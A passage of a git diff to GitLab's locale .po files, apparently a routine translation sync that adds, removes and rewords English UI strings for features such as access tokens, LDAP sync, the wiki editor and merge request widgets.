@@ -31740,7 +31536,7 @@ msgstr ""
msgid "SuperSonics|Type"
msgstr ""
-msgid "SuperSonics|Upload a legacy license"
+msgid "SuperSonics|Upload a license file"
msgstr ""
msgid "SuperSonics|Users in subscription"
@@ -31788,7 +31584,7 @@ msgstr ""
msgid "Survey Response"
msgstr ""
-msgid "Switch Branch"
+msgid "Switch branch"
msgstr ""
msgid "Switch branch/tag"
@@ -31803,7 +31599,7 @@ msgstr ""
msgid "Symbolic link"
msgstr ""
-msgid "Sync information"
+msgid "Sync LDAP"
msgstr ""
msgid "Sync now"
@@ -31812,10 +31608,10 @@ msgstr ""
msgid "Synced"
msgstr ""
-msgid "Synchronization disabled"
+msgid "Synchronization settings"
msgstr ""
-msgid "Synchronization settings"
+msgid "Synchronize LDAP"
msgstr ""
msgid "Syncing…"
@@ -32007,6 +31803,9 @@ msgstr ""
msgid "Telephone number"
msgstr ""
+msgid "Tell us your experiences with the new Markdown editor %{linkStart}in this feedback issue%{linkEnd}."
+msgstr ""
+
msgid "Template"
msgstr ""
@@ -32362,7 +32161,7 @@ msgstr ""
msgid "The Advanced Search in GitLab is a powerful search service that saves you time. Instead of creating duplicate code and wasting time, you can now search for code within other teams that can help your own project."
msgstr ""
-msgid "The Compliance Dashboard gives you the ability to see a group's merge request activity by providing a high-level view for all projects in the group."
+msgid "The Compliance Report captures merged changes that violate compliance best practices."
msgstr ""
msgid "The GitLab subscription service (customers.gitlab.com) is currently experiencing an outage. You can monitor the status and get updates at %{linkStart}status.gitlab.com%{linkEnd}."
@@ -32371,6 +32170,9 @@ msgstr ""
msgid "The GitLab user to which the Jira user %{jiraDisplayName} will be mapped"
msgstr ""
+msgid "The ID of the application."
+msgstr ""
+
msgid "The Issue Tracker is the place to add things that need to be improved or solved in a project"
msgstr ""
@@ -32380,6 +32182,9 @@ msgstr ""
msgid "The Prometheus server responded with \"bad request\". Please check your queries are correct and are supported in your Prometheus version. %{documentationLink}"
msgstr ""
+msgid "The Snowplow cookie domain."
+msgstr ""
+
msgid "The URL defined on the primary node that secondary nodes should use to contact it."
msgstr ""
@@ -32413,9 +32218,6 @@ msgstr ""
msgid "The character highlighter helps you keep the subject line to %{titleLength} characters and wrap the body at %{bodyLength} so they are readable in git."
msgstr ""
-msgid "The coding stage shows the time from the first commit to creating the merge request. The data will automatically be added here once you create your first merge request."
-msgstr ""
-
msgid "The collection of events added to the data gathered for that stage."
msgstr ""
@@ -32449,7 +32251,7 @@ msgstr ""
msgid "The data source is connected, but there is no data to display. %{documentationLink}"
msgstr ""
-msgid "The default CI configuration path for new projects."
+msgid "The default CI/CD configuration file and path for new projects."
msgstr ""
msgid "The dependency list details information about the components used within your project."
@@ -32479,6 +32281,9 @@ msgstr ""
msgid "The errors we encountered were:"
msgstr ""
+msgid "The file containing the export is not available yet; it may still be transferring. Please try again later."
+msgstr ""
+
msgid "The file has been successfully created."
msgstr ""
@@ -32553,6 +32358,9 @@ msgstr ""
msgid "The group_project_ids parameter is only allowed for a group"
msgstr ""
+msgid "The hostname of your Snowplow collector."
+msgstr ""
+
msgid "The import will time out after %{timeout}. For repositories that take longer, use a clone/push combination."
msgstr ""
@@ -32574,15 +32382,15 @@ msgstr ""
msgid "The invitation was successfully resent."
msgstr ""
-msgid "The issue stage shows the time it takes from creating an issue to assigning the issue to a milestone, or add the issue to a list on your Issue Board. Begin creating issues to see data for this stage."
-msgstr ""
-
msgid "The issue was successfully promoted to an epic. Redirecting to epic..."
msgstr ""
msgid "The latest artifacts created by jobs in the most recent successful pipeline will be stored."
msgstr ""
+msgid "The latest pipeline for this merge request did not complete successfully."
+msgstr ""
+
msgid "The license key is invalid. Make sure it is exactly as you received it from GitLab Inc."
msgstr ""
@@ -32667,18 +32475,12 @@ msgstr ""
msgid "The password for your GitLab account on %{link_to_gitlab} has successfully been changed."
msgstr ""
-msgid "The phase of the development lifecycle."
-msgstr ""
-
msgid "The pipeline has been deleted"
msgstr ""
msgid "The pipelines schedule runs pipelines in the future, repeatedly, for specific branches or tags. Those scheduled pipelines will inherit limited project access based on their associated user."
msgstr ""
-msgid "The planning stage shows the time from the previous step to pushing your first commit. This time will be added automatically once you push your first commit."
-msgstr ""
-
msgid "The private key to use when a client certificate is provided. This value is encrypted at rest."
msgstr ""
@@ -32742,9 +32544,6 @@ msgstr ""
msgid "The repository must be accessible over %{code_open}http://%{code_close}, %{code_open}https://%{code_close}, %{code_open}ssh://%{code_close} or %{code_open}git://%{code_close}."
msgstr ""
-msgid "The review stage shows the time from creating the merge request to merging it. The data will automatically be added after you merge your first merge request."
-msgstr ""
-
msgid "The same shared runner executes code from multiple projects, unless you configure autoscaling with %{link} set to 1 (which it is on GitLab.com)."
msgstr ""
@@ -32763,10 +32562,10 @@ msgstr ""
msgid "The snippet is visible to any logged in user except external users."
msgstr ""
-msgid "The specified tab is invalid, please select another"
+msgid "The source branch will be deleted"
msgstr ""
-msgid "The staging stage shows the time between merging the MR and deploying code to the production environment. The data will be automatically added once you deploy to production for the first time."
+msgid "The specified tab is invalid, please select another"
msgstr ""
msgid "The start date must be ealier than the end date."
@@ -32781,9 +32580,6 @@ msgstr ""
msgid "The tag name can't be changed for an existing release."
msgstr ""
-msgid "The testing stage shows the time GitLab CI takes to run every pipeline for the related merge request. The data will automatically be added after your first pipeline finishes running."
-msgstr ""
-
msgid "The time taken by each data entry gathered by that stage."
msgstr ""
@@ -32793,9 +32589,6 @@ msgstr ""
msgid "The uploaded file was invalid. Supported file extensions are %{extensions}."
msgstr ""
-msgid "The usage ping is disabled, and cannot be configured through this form."
-msgstr ""
-
msgid "The user is being deleted."
msgstr ""
@@ -32814,9 +32607,6 @@ msgstr ""
msgid "The username for the Jenkins server."
msgstr ""
-msgid "The value lying at the midpoint of a series of observed values. E.g., between 3, 5, 9, the median is 5. Between 3, 5, 7, 8, the median is (5+7)/2 = 6."
-msgstr ""
-
msgid "The value of the provided variable exceeds the %{count} character limit"
msgstr ""
@@ -32958,9 +32748,6 @@ msgstr ""
msgid "There was a problem communicating with your device."
msgstr ""
-msgid "There was a problem dismissing this notification."
-msgstr ""
-
msgid "There was a problem fetching branches."
msgstr ""
@@ -33081,6 +32868,9 @@ msgstr ""
msgid "There was an error loading merge request approval settings."
msgstr ""
+msgid "There was an error loading related feature flags"
+msgstr ""
+
msgid "There was an error loading users activity calendar."
msgstr ""
@@ -33156,6 +32946,9 @@ msgstr ""
msgid "There was an error while fetching value stream analytics duration data."
msgstr ""
+msgid "There was an error while fetching value stream summary data."
+msgstr ""
+
msgid "There was an error with the reCAPTCHA. Please solve the reCAPTCHA again."
msgstr ""
@@ -33189,7 +32982,7 @@ msgstr ""
msgid "Third Party Advisory Link"
msgstr ""
-msgid "Third party offers"
+msgid "Third-party offers"
msgstr ""
msgid "This %{issuableDisplayName} is locked. Only project members can comment."
@@ -33285,6 +33078,9 @@ msgstr ""
msgid "This chart could not be displayed"
msgstr ""
+msgid "This code snippet contains everything reflected in the configuration form. Copy and paste it into %{linkStart}.gitlab-ci.yml%{linkEnd} file and save your changes. Future %{scanType} scans will use these settings."
+msgstr ""
+
msgid "This comment changed after you started editing it. Review the %{startTag}updated comment%{endTag} to ensure information is not lost."
msgstr ""
@@ -33324,9 +33120,6 @@ msgstr ""
msgid "This diff is collapsed."
msgstr ""
-msgid "This diff was suppressed by a .gitattributes entry."
-msgstr ""
-
msgid "This directory"
msgstr ""
@@ -33411,7 +33204,7 @@ msgstr ""
msgid "This is a merge train pipeline"
msgstr ""
-msgid "This is a private email address %{helpIcon} generated just for you. Anyone who gets ahold of it can create issues or merge requests as if they were you. You should %{resetLinkStart}reset it%{resetLinkEnd} if that ever happens."
+msgid "This is a private email address %{helpIcon} generated just for you. Anyone who has it can create issues or merge requests as if they were you. If that happens, %{resetLinkStart}reset this token%{resetLinkEnd}."
msgstr ""
msgid "This is a security log of important events involving your account."
@@ -34150,9 +33943,15 @@ msgstr ""
msgid "To connect an SVN repository, check out %{svn_link}."
msgstr ""
+msgid "To continue, you need to select the link in the confirmation email we sent to verify your email address. If you didn't get our email, select %{strongStart}Resend confirmation email.%{strongEnd}"
+msgstr ""
+
msgid "To define internal users, first enable new users set to external"
msgstr ""
+msgid "To enable Registration Features, make sure \"Enable service ping\" is checked."
+msgstr ""
+
msgid "To ensure no loss of personal content, this account should only be used for matters related to %{group_name}."
msgstr ""
@@ -34237,9 +34036,6 @@ msgstr ""
msgid "To set up this service:"
msgstr ""
-msgid "To simplify the billing process, GitLab will collect user counts in order to prorate charges for user growth throughout the year using a quarterly reconciliation process."
-msgstr ""
-
msgid "To specify the notification level per project of a group you belong to, you need to visit project page and change notification level there."
msgstr ""
@@ -34339,9 +34135,18 @@ msgstr ""
msgid "Token"
msgstr ""
+msgid "Token name"
+msgstr ""
+
msgid "Token valid until revoked"
msgstr ""
+msgid "Tokens|Scopes set the permission levels granted to the token."
+msgstr ""
+
+msgid "Tokens|Select scopes"
+msgstr ""
+
msgid "Tomorrow"
msgstr ""
@@ -34354,6 +34159,9 @@ msgstr ""
msgid "Too many projects enabled. You will need to manage them via the console or the API."
msgstr ""
+msgid "TopNav|Go back"
+msgstr ""
+
msgid "Topics (optional)"
msgstr ""
@@ -34402,6 +34210,15 @@ msgstr ""
msgid "Track groups of issues that share a theme, across projects and milestones"
msgstr ""
+msgid "Track important events in your GitLab instance."
+msgstr ""
+
+msgid "Track important events in your group."
+msgstr ""
+
+msgid "Track important events in your project."
+msgstr ""
+
msgid "Track time with quick actions"
msgstr ""
@@ -34881,12 +34698,6 @@ msgstr ""
msgid "Unhappy?"
msgstr ""
-msgid "Uninstall"
-msgstr ""
-
-msgid "Uninstalling"
-msgstr ""
-
msgid "Units|ms"
msgstr ""
@@ -34977,21 +34788,6 @@ msgstr ""
msgid "UnscannedProjects|60 or more days"
msgstr ""
-msgid "UnscannedProjects|Default branch scanning by project"
-msgstr ""
-
-msgid "UnscannedProjects|Out of date"
-msgstr ""
-
-msgid "UnscannedProjects|Project scanning"
-msgstr ""
-
-msgid "UnscannedProjects|Untested"
-msgstr ""
-
-msgid "UnscannedProjects|Your projects are up do date! Nice job!"
-msgstr ""
-
msgid "Unschedule job"
msgstr ""
@@ -35127,9 +34923,6 @@ msgstr ""
msgid "Updated %{updated_at} by %{updated_by}"
msgstr ""
-msgid "Updated to %{linkStart}chart v%{linkEnd}"
-msgstr ""
-
msgid "Updates"
msgstr ""
@@ -35466,9 +35259,15 @@ msgstr ""
msgid "Use .gitlab-ci.yml"
msgstr ""
+msgid "Use GitLab Runner in AWS"
+msgstr ""
+
msgid "Use a one-time password authenticator on your mobile device or computer to enable two-factor authentication (2FA)."
msgstr ""
+msgid "Use an AWS CloudFormation Template (CFT) to install and configure GitLab Runner in AWS."
+msgstr ""
+
msgid "Use cURL"
msgstr ""
@@ -35598,6 +35397,9 @@ msgstr ""
msgid "User was successfully updated."
msgstr ""
+msgid "UserAvailability|%{author} %{spanStart}(Busy)%{spanEnd}"
+msgstr ""
+
msgid "UserAvailability|%{author} (Busy)"
msgstr ""
@@ -35895,9 +35697,6 @@ msgstr ""
msgid "Value"
msgstr ""
-msgid "Value Stream"
-msgstr ""
-
msgid "Value Stream Analytics"
msgstr ""
@@ -35907,9 +35706,15 @@ msgstr ""
msgid "Value Stream Analytics gives an overview of how much time it takes to go from idea to production in your project."
msgstr ""
+msgid "Value stream"
+msgstr ""
+
msgid "ValueStreamAnalyticsStage|We don't have enough data to show this stage."
msgstr ""
+msgid "ValueStreamAnalytics|%{stageCount}+ items"
+msgstr ""
+
msgid "ValueStreamAnalytics|%{value}M"
msgstr ""
@@ -35991,9 +35796,6 @@ msgstr ""
msgid "Verification concurrency limit"
msgstr ""
-msgid "Verification information"
-msgstr ""
-
msgid "Verification status"
msgstr ""
@@ -36079,6 +35881,9 @@ msgstr ""
msgid "View full log"
msgstr ""
+msgid "View group in admin area"
+msgstr ""
+
msgid "View group labels"
msgstr ""
@@ -36097,9 +35902,6 @@ msgstr ""
msgid "View job"
msgstr ""
-msgid "View job dependencies in the pipeline graph!"
-msgstr ""
-
msgid "View job log"
msgstr ""
@@ -36133,6 +35935,9 @@ msgstr ""
msgid "View project"
msgstr ""
+msgid "View project in admin area"
+msgstr ""
+
msgid "View project labels"
msgstr ""
@@ -36202,7 +36007,10 @@ msgstr ""
msgid "Visit settings page"
msgstr ""
-msgid "Visual Studio Code"
+msgid "Visual Studio Code (HTTPS)"
+msgstr ""
+
+msgid "Visual Studio Code (SSH)"
msgstr ""
msgid "VisualReviewApp|%{stepStart}Step 1%{stepEnd}. Copy the following script:"
@@ -36343,7 +36151,7 @@ msgstr ""
msgid "VulnerabilityManagement|invalid issue link or ID"
msgstr ""
-msgid "VulnerabilityStatusTypes|All"
+msgid "VulnerabilityStatusTypes|All statuses"
msgstr ""
msgid "VulnerabilityStatusTypes|Confirmed"
@@ -36475,6 +36283,9 @@ msgstr ""
msgid "Warning: Displaying this diagram might cause performance issues on this page."
msgstr ""
+msgid "Warning: Synchronizing LDAP removes direct members' access."
+msgstr ""
+
msgid "We are currently unable to fetch data for the pipeline header."
msgstr ""
@@ -36775,6 +36586,15 @@ msgstr ""
msgid "Welcome, %{name}!"
msgstr ""
+msgid "What are group audit events?"
+msgstr ""
+
+msgid "What are instance audit events?"
+msgstr ""
+
+msgid "What are project audit events?"
+msgstr ""
+
msgid "What are you searching for?"
msgstr ""
@@ -36784,6 +36604,9 @@ msgstr ""
msgid "What does this command do?"
msgstr ""
+msgid "What is Auto DevOps?"
+msgstr ""
+
msgid "What is repository mirroring?"
msgstr ""
@@ -36984,7 +36807,7 @@ msgstr ""
msgid "WikiPage|An error occured while trying to render the content editor. Please try again later."
msgstr ""
-msgid "WikiPage|Are you sure you want to switch to the old editor?"
+msgid "WikiPage|Are you sure you want to switch back to the classic editor?"
msgstr ""
msgid "WikiPage|Cancel"
@@ -37005,6 +36828,9 @@ msgstr ""
msgid "WikiPage|Format"
msgstr ""
+msgid "WikiPage|Get a richer editing experience"
+msgstr ""
+
msgid "WikiPage|Keep editing"
msgstr ""
@@ -37020,16 +36846,16 @@ msgstr ""
msgid "WikiPage|Save changes"
msgstr ""
-msgid "WikiPage|Switch to old editor"
+msgid "WikiPage|Switch me back to the classic editor."
msgstr ""
-msgid "WikiPage|Switching to the old editor will discard any changes you've made in the new editor."
+msgid "WikiPage|Switch to classic editor"
msgstr ""
-msgid "WikiPage|Switching will discard any changes you've made in the new editor."
+msgid "WikiPage|Switching to the classic editor will discard any changes you've made in the new editor."
msgstr ""
-msgid "WikiPage|This editor is in beta and may not display the page's contents properly."
+msgid "WikiPage|This editor is in beta and may not display the page's contents properly. Switching back to the classic editor will discard changes you've made in the new editor."
msgstr ""
msgid "WikiPage|Tip: You can move this page by adding the path to the beginning of the title."
@@ -37044,10 +36870,16 @@ msgstr ""
msgid "WikiPage|To link to a (new) page, simply type %{linkExample}. More examples are in the %{linkStart}documentation%{linkEnd}."
msgstr ""
+msgid "WikiPage|Try the new visual Markdown editor. Read the %{linkStart}documentation%{linkEnd} to learn what's currently supported."
+msgstr ""
+
+msgid "WikiPage|Try this later"
+msgstr ""
+
msgid "WikiPage|Update %{pageTitle}"
msgstr ""
-msgid "WikiPage|Use new editor"
+msgid "WikiPage|Use the new editor"
msgstr ""
msgid "WikiPage|Write your content or drag files here…"
@@ -37317,6 +37149,9 @@ msgstr ""
msgid "You can easily contribute to them by requesting to join these groups."
msgstr ""
+msgid "You can enable Registration Features because Service Ping is enabled. To continue using Registration Features in future, you will also need to register with GitLab via a new cloud licensing service."
+msgstr ""
+
msgid "You can enable project access token creation in %{link_start}group settings%{link_end}."
msgstr ""
@@ -37356,9 +37191,6 @@ msgstr ""
msgid "You can now export your security dashboard to a CSV report."
msgstr ""
-msgid "You can now group jobs in the pipeline graph based on which jobs are configured to run first, if you use the %{codeStart}needs:%{codeEnd} keyword to establish job dependencies in your CI/CD pipelines. %{linkStart}Learn how to speed up your pipeline with needs.%{linkEnd}"
-msgstr ""
-
msgid "You can now submit a merge request to get this change into the original branch."
msgstr ""
@@ -37536,21 +37368,18 @@ msgstr ""
msgid "You have imported from this project %{numberOfPreviousImports} times before. Each new import will create duplicate issues."
msgstr ""
-msgid "You have insufficient permissions to create a Todo for this alert"
+msgid "You have insufficient permissions to configure escalation policies for this project"
msgstr ""
-msgid "You have insufficient permissions to create an HTTP integration for this project"
+msgid "You have insufficient permissions to create a Todo for this alert"
msgstr ""
-msgid "You have insufficient permissions to create an escalation policy for this project"
+msgid "You have insufficient permissions to create an HTTP integration for this project"
msgstr ""
msgid "You have insufficient permissions to create an on-call schedule for this project"
msgstr ""
-msgid "You have insufficient permissions to remove an escalation policy from this project"
-msgstr ""
-
msgid "You have insufficient permissions to remove an on-call rotation from this project"
msgstr ""
@@ -37614,9 +37443,6 @@ msgstr ""
msgid "You must provide your current password in order to change it."
msgstr ""
-msgid "You must select a stack for configuring your cloud provider. Learn more about"
-msgstr ""
-
msgid "You must solve the CAPTCHA in order to submit"
msgstr ""
@@ -37776,12 +37602,6 @@ msgstr ""
msgid "Your CSV import for project"
msgstr ""
-msgid "Your Commit Email will be used for web based operations, such as edits and merges."
-msgstr ""
-
-msgid "Your Default Notification Email will be used for account notifications if a %{openingTag}group-specific email address%{closingTag} is not set."
-msgstr ""
-
msgid "Your DevOps Report gives an overview of how you are using GitLab from a feature perspective. View how you compare with other organizations, discover features you are not using, and learn best practices through blog posts and white papers."
msgstr ""
@@ -37809,18 +37629,12 @@ msgstr ""
msgid "Your Personal Access Token was revoked"
msgstr ""
-msgid "Your Primary Email will be used for avatar detection."
-msgstr ""
-
msgid "Your Projects (default)"
msgstr ""
msgid "Your Projects' Activity"
msgstr ""
-msgid "Your Public Email will be displayed on your public profile."
-msgstr ""
-
msgid "Your SSH key has expired"
msgstr ""
@@ -37833,12 +37647,6 @@ msgstr ""
msgid "Your SSH keys (%{count})"
msgstr ""
-msgid "Your SSH keys with the following fingerprints are scheduled to expire soon. Expired SSH keys will not be usable in future versions of GitLab:"
-msgstr ""
-
-msgid "Your SSH keys with the following fingerprints have expired. Expired SSH keys will not be usable in future versions of GitLab:"
-msgstr ""
-
msgid "Your To-Do List"
msgstr ""
@@ -37908,12 +37716,18 @@ msgstr ""
msgid "Your comment will be discarded."
msgstr ""
+msgid "Your commit email is used for web based operations, such as edits and merges."
+msgstr ""
+
msgid "Your dashboard has been copied. You can %{web_ide_link_start}edit it here%{web_ide_link_end}."
msgstr ""
msgid "Your dashboard has been updated. You can %{web_ide_link_start}edit it here%{web_ide_link_end}."
msgstr ""
+msgid "Your default notification email is used for account notifications if a %{openingTag}group-specific email address%{closingTag} is not set."
+msgstr ""
+
msgid "Your deployment services will be broken, you will need to manually fix the services after renaming."
msgstr ""
@@ -37998,6 +37812,9 @@ msgstr ""
msgid "Your personal access tokens will expire in %{days_to_expire} days or less"
msgstr ""
+msgid "Your primary email is used for avatar detection. You can change it in your %{openingTag}profile settings%{closingTag}."
+msgstr ""
+
msgid "Your profile"
msgstr ""
@@ -38007,6 +37824,9 @@ msgstr ""
msgid "Your projects"
msgstr ""
+msgid "Your public email will be displayed on your public profile."
+msgstr ""
+
msgid "Your request for access could not be processed: %{error_meesage}"
msgstr ""
@@ -38099,6 +37919,9 @@ msgstr ""
msgid "already being used for another group or project %{timebox_name}."
msgstr ""
+msgid "already being used for another iteration within this cadence."
+msgstr ""
+
msgid "already has a \"created\" issue link"
msgstr ""
@@ -38156,12 +37979,21 @@ msgstr ""
msgid "can contain only letters of the Base64 alphabet (RFC4648) with the addition of '@', ':' and '.'"
msgstr ""
+msgid "can contain only lowercase letters, digits, and '_'."
+msgstr ""
+
msgid "can only be changed by a group admin."
msgstr ""
+msgid "can only have one escalation policy"
+msgstr ""
+
msgid "can't be enabled because signed commits are required for this project"
msgstr ""
+msgid "can't be the same as the source project"
+msgstr ""
+
msgid "can't include: %{invalid_storages}"
msgstr ""
@@ -38186,6 +38018,9 @@ msgstr ""
msgid "cannot be enabled unless all domains have TLS certificates"
msgstr ""
+msgid "cannot be enabled until a valid credit card is on file"
+msgstr ""
+
msgid "cannot be modified"
msgstr ""
@@ -38204,9 +38039,6 @@ msgstr ""
msgid "cannot merge"
msgstr ""
-msgid "child-pipeline"
-msgstr ""
-
msgid "ciReport|%{degradedNum} degraded"
msgstr ""
@@ -38509,6 +38341,9 @@ msgstr ""
msgid "created"
msgstr ""
+msgid "created %{issuable_created} by %{author}"
+msgstr ""
+
msgid "created %{timeAgoString} by %{email} via %{user}"
msgstr ""
@@ -38593,6 +38428,9 @@ msgstr ""
msgid "encrypted: needs to be a :required, :optional or :migrating!"
msgstr ""
+msgid "ending with MIME type format is not allowed."
+msgstr ""
+
msgid "entries cannot be larger than 255 characters"
msgstr ""
@@ -38672,9 +38510,6 @@ msgid_plural "from %d jobs"
msgstr[0] ""
msgstr[1] ""
-msgid "general, development"
-msgstr ""
-
msgid "group"
msgstr ""
@@ -39060,6 +38895,9 @@ msgstr ""
msgid "mrWidget|Merge blocked: all threads must be resolved."
msgstr ""
+msgid "mrWidget|Merge blocked: pipeline must succeed. It's waiting for a manual action to continue."
+msgstr ""
+
msgid "mrWidget|Merge failed."
msgstr ""
@@ -39096,9 +38934,6 @@ msgstr ""
msgid "mrWidget|Open in Web IDE"
msgstr ""
-msgid "mrWidget|Pipeline blocked. The pipeline for this merge request requires a manual action to proceed"
-msgstr ""
-
msgid "mrWidget|Plain diff"
msgstr ""
@@ -39159,7 +38994,7 @@ msgstr ""
msgid "mrWidget|The source branch has been deleted"
msgstr ""
-msgid "mrWidget|The source branch is %{commitsBehindLinkStart}%{commitsBehind}%{commitsBehindLinkEnd} the target branch"
+msgid "mrWidget|The source branch is %{link} the target branch"
msgstr ""
msgid "mrWidget|The source branch is being deleted"
@@ -39240,7 +39075,10 @@ msgstr ""
msgid "must be greater than start date"
msgstr ""
-msgid "must contain only valid frameworks"
+msgid "must be inside the fork network"
+msgstr ""
+
+msgid "must have a unique schedule, status, and elapsed time"
msgstr ""
msgid "my-awesome-group"
@@ -39303,6 +39141,9 @@ msgstr ""
msgid "on track"
msgstr ""
+msgid "only available on top-level groups."
+msgstr ""
+
msgid "open issue"
msgstr ""
@@ -39586,6 +39427,9 @@ msgstr ""
msgid "the correct format."
msgstr ""
+msgid "the file"
+msgstr ""
+
msgid "the following issue(s)"
msgstr ""
@@ -39688,6 +39532,9 @@ msgstr ""
msgid "view the source"
msgstr ""
+msgid "visibility"
+msgstr ""
+
msgid "vulnerability"
msgid_plural "vulnerabilities"
msgstr[0] ""
diff --git a/locale/hy_AM/gitlab.po b/locale/hy_AM/gitlab.po
index 4de7989b563..c7c78775b5a 100644
--- a/locale/hy_AM/gitlab.po
+++ b/locale/hy_AM/gitlab.po
@@ -14,14 +14,11 @@ msgstr ""
"X-Crowdin-Language: hy-AM\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2021-06-01 20:40\n"
+"PO-Revision-Date: 2021-07-01 21:25\n"
msgid " %{name}, confirm your email address now! "
msgstr ""
-msgid " %{project_name}#%{issuable_iid} &middot; created %{issuable_created} by %{author} &middot; updated %{issuable_updated}"
-msgstr ""
-
msgid " %{start} to %{end}"
msgstr ""
@@ -89,6 +86,9 @@ msgstr ""
msgid "\"el\" parameter is required for createInstance()"
msgstr ""
+msgid "#general, #development"
+msgstr ""
+
msgid "%d Approval"
msgid_plural "%d Approvals"
msgstr[0] ""
@@ -267,11 +267,6 @@ msgid_plural "%d issues successfully imported with the label"
msgstr[0] ""
msgstr[1] ""
-msgid "%d item"
-msgid_plural "%d items"
-msgstr[0] ""
-msgstr[1] ""
-
msgid "%d layer"
msgid_plural "%d layers"
msgstr[0] ""
@@ -421,6 +416,24 @@ msgstr ""
msgid "%{board_target} not found"
msgstr ""
+msgid "%{bold_start}%{count}%{bold_end} issue"
+msgid_plural "%{bold_start}%{count}%{bold_end} issues"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "%{bold_start}%{count}%{bold_end} member"
+msgid_plural "%{bold_start}%{count}%{bold_end} members"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "%{bold_start}%{count}%{bold_end} opened merge request"
+msgid_plural "%{bold_start}%{count}%{bold_end} opened merge requests"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "%{closedWeight} complete, %{openWeight} incomplete"
+msgstr ""
+
msgid "%{code_open}Masked:%{code_close} Hidden in job logs. Must match masking requirements."
msgstr ""
@@ -464,6 +477,11 @@ msgstr ""
msgid "%{count} files touched"
msgstr ""
+msgid "%{count} item"
+msgid_plural "%{count} items"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%{count} items per page"
msgstr ""
@@ -654,10 +672,10 @@ msgstr ""
msgid "%{level_name} is not allowed since the fork source project has lower visibility."
msgstr ""
-msgid "%{link_start}Learn more%{link_end} about what information is shared with GitLab Inc."
+msgid "%{link_start}Learn more%{link_end} about roles."
msgstr ""
-msgid "%{link_start}Read more%{link_end} about role permissions"
+msgid "%{link_start}Learn more%{link_end} about what information is shared with GitLab Inc."
msgstr ""
msgid "%{link_start}Remove the %{draft_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
@@ -821,6 +839,9 @@ msgid_plural "%{securityScanner} results are not available because a pipeline ha
msgstr[0] ""
msgstr[1] ""
+msgid "%{service_ping_link_start}Learn more%{service_ping_link_end} about what information is shared with GitLab Inc."
+msgstr ""
+
msgid "%{size} %{unit}"
msgstr ""
@@ -854,9 +875,6 @@ msgstr ""
msgid "%{state} epics"
msgstr ""
-msgid "%{strongStart}Deletes%{strongEnd} source branch"
-msgstr ""
-
msgid "%{strongStart}Tip:%{strongEnd} You can also checkout merge requests locally by %{linkStart}following these guidelines%{linkEnd}"
msgstr ""
@@ -957,12 +975,6 @@ msgstr ""
msgid "%{total} warnings found: showing first %{warningsDisplayed}"
msgstr ""
-msgid "%{type} License"
-msgstr ""
-
-msgid "%{usage_ping_link_start}Learn more%{usage_ping_link_end} about what information is shared with GitLab Inc."
-msgstr ""
-
msgid "%{userName} (cannot merge)"
msgstr ""
@@ -993,6 +1005,9 @@ msgstr ""
msgid "%{user} created an issue: %{issue_link}"
msgstr ""
+msgid "%{value} is not included in the list"
+msgstr ""
+
msgid "%{value} s"
msgstr ""
@@ -1480,9 +1495,6 @@ msgstr ""
msgid "A rebase is already in progress."
msgstr ""
-msgid "A rule must be provided to create an escalation policy"
-msgstr ""
-
msgid "A secure token that identifies an external storage request."
msgstr ""
@@ -1543,18 +1555,9 @@ msgstr ""
msgid "APIFuzzing|Code snippet could not be generated. Try again later."
msgstr ""
-msgid "APIFuzzing|Code snippet for the API Fuzzing configuration"
-msgstr ""
-
msgid "APIFuzzing|Configure HTTP basic authentication values. Other authentication methods are supported. %{linkStart}Learn more%{linkEnd}."
msgstr ""
-msgid "APIFuzzing|Copy code and open .gitlab-ci.yml file"
-msgstr ""
-
-msgid "APIFuzzing|Copy code only"
-msgstr ""
-
msgid "APIFuzzing|Customize common API fuzzing settings to suit your requirements. For details of more advanced configuration options, see the %{docsLinkStart}GitLab API Fuzzing documentation%{docsLinkEnd}."
msgstr ""
@@ -1759,13 +1762,13 @@ msgstr ""
msgid "AccessTokens|It cannot be used to access any other data."
msgstr ""
-msgid "AccessTokens|Keep this token secret. Anyone who gets ahold of it can access repository static objects as if they were you. You should %{reset_link_start}reset it%{reset_link_end} if that ever happens."
+msgid "AccessTokens|Keep this token secret. Anyone who has it can access repository static objects as if they were you. If that ever happens, %{reset_link_start}reset this token%{reset_link_end}."
msgstr ""
-msgid "AccessTokens|Keep this token secret. Anyone who gets ahold of it can create issues as if they were you. You should %{link_reset_it} if that ever happens."
+msgid "AccessTokens|Keep this token secret. Anyone who has it can create issues as if they were you. If that happens, %{link_reset_it}."
msgstr ""
-msgid "AccessTokens|Keep this token secret. Anyone who gets ahold of it can read activity and issue RSS feeds or your calendar feed as if they were you. You should %{link_reset_it} if that ever happens."
+msgid "AccessTokens|Keep this token secret. Anyone who has it can read activity and issue RSS feeds or your calendar feed as if they were you. If that happens, %{link_reset_it}."
msgstr ""
msgid "AccessTokens|Personal Access Tokens"
@@ -1783,16 +1786,16 @@ msgstr ""
msgid "AccessTokens|You can generate a personal access token for each application you use that needs access to the GitLab API."
msgstr ""
-msgid "AccessTokens|Your feed token is used to authenticate you when your RSS reader loads a personalized RSS feed or when your calendar application loads a personalized calendar, and is included in those feed URLs."
+msgid "AccessTokens|Your feed token authenticates you when your RSS reader loads a personalized RSS feed or when your calendar application loads a personalized calendar. It is visible in those feed URLs."
msgstr ""
-msgid "AccessTokens|Your incoming email token is used to authenticate you when you create a new issue by email, and is included in your personal project-specific email addresses."
+msgid "AccessTokens|Your incoming email token authenticates you when you create a new issue by email, and is included in your personal project-specific email addresses."
msgstr ""
-msgid "AccessTokens|Your static object token is used to authenticate you when repository static objects (e.g. archives, blobs, ...) are being served from an external storage."
+msgid "AccessTokens|Your static object token authenticates you when repository static objects (such as archives or blobs) are served from an external storage."
msgstr ""
-msgid "AccessTokens|reset it"
+msgid "AccessTokens|reset this token"
msgstr ""
msgid "AccessibilityReport|Learn more"
@@ -1912,6 +1915,9 @@ msgstr ""
msgid "Add a comment to this line or drag for multiple lines"
msgstr ""
+msgid "Add a custom message with details about the instance's shared runners. The message is visible in group and project CI/CD settings, in the Runners section. Markdown is supported."
+msgstr ""
+
msgid "Add a general comment to this %{noteableDisplayName}."
msgstr ""
@@ -1921,6 +1927,9 @@ msgstr ""
msgid "Add a homepage to your wiki that contains information about your project and GitLab will display it here instead of this message."
msgstr ""
+msgid "Add a horizontal rule"
+msgstr ""
+
